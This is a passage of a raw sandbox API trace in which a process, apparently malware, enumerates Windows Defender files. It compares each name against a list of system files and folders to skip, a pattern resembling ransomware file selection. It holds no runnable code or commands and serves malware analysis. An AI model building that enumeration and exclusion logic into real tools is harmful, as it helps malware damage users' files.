hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1a0776, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2a1a0776, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33bf4fb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8ba00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2=".") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="..") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="...") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="windows") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="rsa") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="NTDETECT.COM") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="ntldr") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="MSDOS.SYS") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="IO.SYS") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="boot.ini") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="boot.ini") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="ntuser.dat") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="desktop.ini") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="CONFIG.SYS") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="RECYCLER") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="bootmgr") returned 1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="programdata") returned -1 [0099.858] lstrcmpiW (lpString1="MpClient.dll", lpString2="appdata") returned 1 [0099.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpClient.dll", lpUsedDefaultChar=0x0) returned 12 [0099.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpClient.dll", lpUsedDefaultChar=0x0) returned 12 [0099.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpClient.dll", lpUsedDefaultChar=0x0) returned 12 [0099.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpClient.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpClient.dll", lpUsedDefaultChar=0x0) returned 12 [0099.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.859] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7bb298, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1f7bb298, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe86ec360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="..") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="...") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="windows") returned -1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="rsa") returned -1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="NTDETECT.COM") returned -1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="ntldr") returned -1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="MSDOS.SYS") returned -1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="IO.SYS") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="boot.ini") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="boot.ini") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="ntuser.dat") returned -1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="desktop.ini") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="CONFIG.SYS") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="RECYCLER") returned -1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.859] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="bootmgr") returned 1 [0099.860] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="programdata") returned -1 [0099.860] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="appdata") returned 1 [0099.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCmdRun.exe", lpUsedDefaultChar=0x0) returned 12 [0099.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCmdRun.exe", lpUsedDefaultChar=0x0) returned 12 [0099.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCmdRun.exe", lpUsedDefaultChar=0x0) returned 12 [0099.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCmdRun.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCmdRun.exe", lpUsedDefaultChar=0x0) returned 12 [0099.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.860] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2070df03, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2070df03, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33cb3690, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4ce00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".") returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="..") returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="...") returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="windows") returned -1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="rsa") returned -1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="NTDETECT.COM") returned -1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="ntldr") returned -1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="MSDOS.SYS") returned -1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="IO.SYS") returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="boot.ini") returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="boot.ini") returned 1 [0099.860] lstrcmpiW (lpString1="MpCommu.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="ntuser.dat") returned -1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="desktop.ini") returned 1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="CONFIG.SYS") returned 1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="RECYCLER") returned -1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="bootmgr") returned 1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="programdata") returned -1 [0099.861] lstrcmpiW (lpString1="MpCommu.dll", lpString2="appdata") returned 1 [0099.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCommu.dll", lpUsedDefaultChar=0x0) returned 11 [0099.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCommu.dll", lpUsedDefaultChar=0x0) returned 11 [0099.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCommu.dll", lpUsedDefaultChar=0x0) returned 11 [0099.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpCommu.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpCommu.dll", lpUsedDefaultChar=0x0) returned 11 [0099.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.861] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15819bcb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x15819bcb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7d1de1f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".") returned 1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="..") returned 1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="...") returned 1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="windows") returned -1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="rsa") returned -1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="NTDETECT.COM") returned -1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="ntldr") returned -1 [0099.861] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="MSDOS.SYS") returned -1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="IO.SYS") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="boot.ini") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="boot.ini") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="ntuser.dat") returned -1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="desktop.ini") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="CONFIG.SYS") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="RECYCLER") returned -1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="bootmgr") returned 1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="programdata") returned -1 [0099.862] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="appdata") returned 1 [0099.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll", lpUsedDefaultChar=0x0) returned 11 [0099.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll", lpUsedDefaultChar=0x0) returned 11 [0099.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll", lpUsedDefaultChar=0x0) returned 11 [0099.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpEvMsg.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpEvMsg.dll", lpUsedDefaultChar=0x0) returned 11 [0099.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.862] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c9dd08, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x18c9dd08, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33d01890, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0099.862] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0099.862] lstrcmpiW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0099.862] lstrcmpiW (lpString1="MpOAV.dll", lpString2="...") returned 1 [0099.862] lstrcmpiW (lpString1="MpOAV.dll", lpString2="windows") returned -1 [0099.862] lstrcmpiW (lpString1="MpOAV.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.862] lstrcmpiW (lpString1="MpOAV.dll", lpString2="rsa") returned -1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="NTDETECT.COM") returned -1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="ntldr") returned -1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="MSDOS.SYS") returned -1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="IO.SYS") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="boot.ini") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="boot.ini") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="ntuser.dat") returned -1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="desktop.ini") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="CONFIG.SYS") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="RECYCLER") returned -1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="bootmgr") returned 1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="programdata") returned -1 [0099.863] lstrcmpiW (lpString1="MpOAV.dll", lpString2="appdata") returned 1 [0099.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpOAV.dll", lpUsedDefaultChar=0x0) returned 9 [0099.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpOAV.dll", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpOAV.dll", lpUsedDefaultChar=0x0) returned 9 [0099.863] HeapFree (in: 